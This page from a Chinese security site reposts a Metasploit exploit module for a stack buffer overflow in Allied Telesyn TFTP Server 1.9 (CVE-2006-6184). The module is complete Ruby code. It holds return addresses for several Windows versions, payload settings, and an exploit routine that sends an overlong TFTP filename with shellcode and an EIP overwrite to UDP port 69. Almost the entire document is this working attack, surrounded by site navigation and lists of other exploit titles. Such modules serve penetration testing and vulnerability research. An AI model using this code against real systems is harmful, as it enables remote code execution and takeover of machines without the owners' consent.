首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Allied Telesyn TFTP Server 1.9 Long Filename Overflow
来源:http://www.metasploit.com 作者:Patrick 发布时间:2011-03-07  

##
# $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
    request (get/write) for an overly long file name.
   },
   'Author'         => [ 'Patrick Webster <patrick[at]aushack.com>' ],
   'Version'        => '$Revision: 11882 $',
   'References'     =>
    [
     ['CVE', '2006-6184'],
     ['OSVDB', '11350'],
     ['BID', '21320'],
     ['URL','http://milw0rm.com/exploits/2887'],
     ['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 210,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
    # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
     [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
     [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
     [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
     [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
     [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
     [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
     [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
     [ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 27 2006'))

  register_options(
   [
    Opt::RPORT(69),
    Opt::LHOST() # Required for stack offset
   ], self.class)
 end

 def exploit
  connect_udp

  sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
  sploit << payload.encoded
  sploit << [target['Ret']].pack('V')  # <-- eip = jmp esp. we control it.
  sploit << "\x83\xc4\x28\xc3"   # <-- esp = add esp 0x28 + retn
  sploit << "\x00" + "netascii" + "\x00"

  udp_sock.put(sploit)

  disconnect_udp
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Vtiger CRM 5.0.4 Pre-Auth Loca
·win32 eggsearch shellcode (33
·iPod Touch/iPhone iFileExplore
·EggAvatar for vBulletin 3.8.x
·Comtrend ADSL Router CT-5367 C
·Novell iPrint Client ActiveX C
·JBoss Application Server Remot
·Automne 4.1.0 Race Condition
·PHP Speedy <= 0.5.2 Wordpress
·Interphoto 2.4.2 Local File In
·NetSupport Manager Agent Remot
·Citrix Access Gateway Command
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved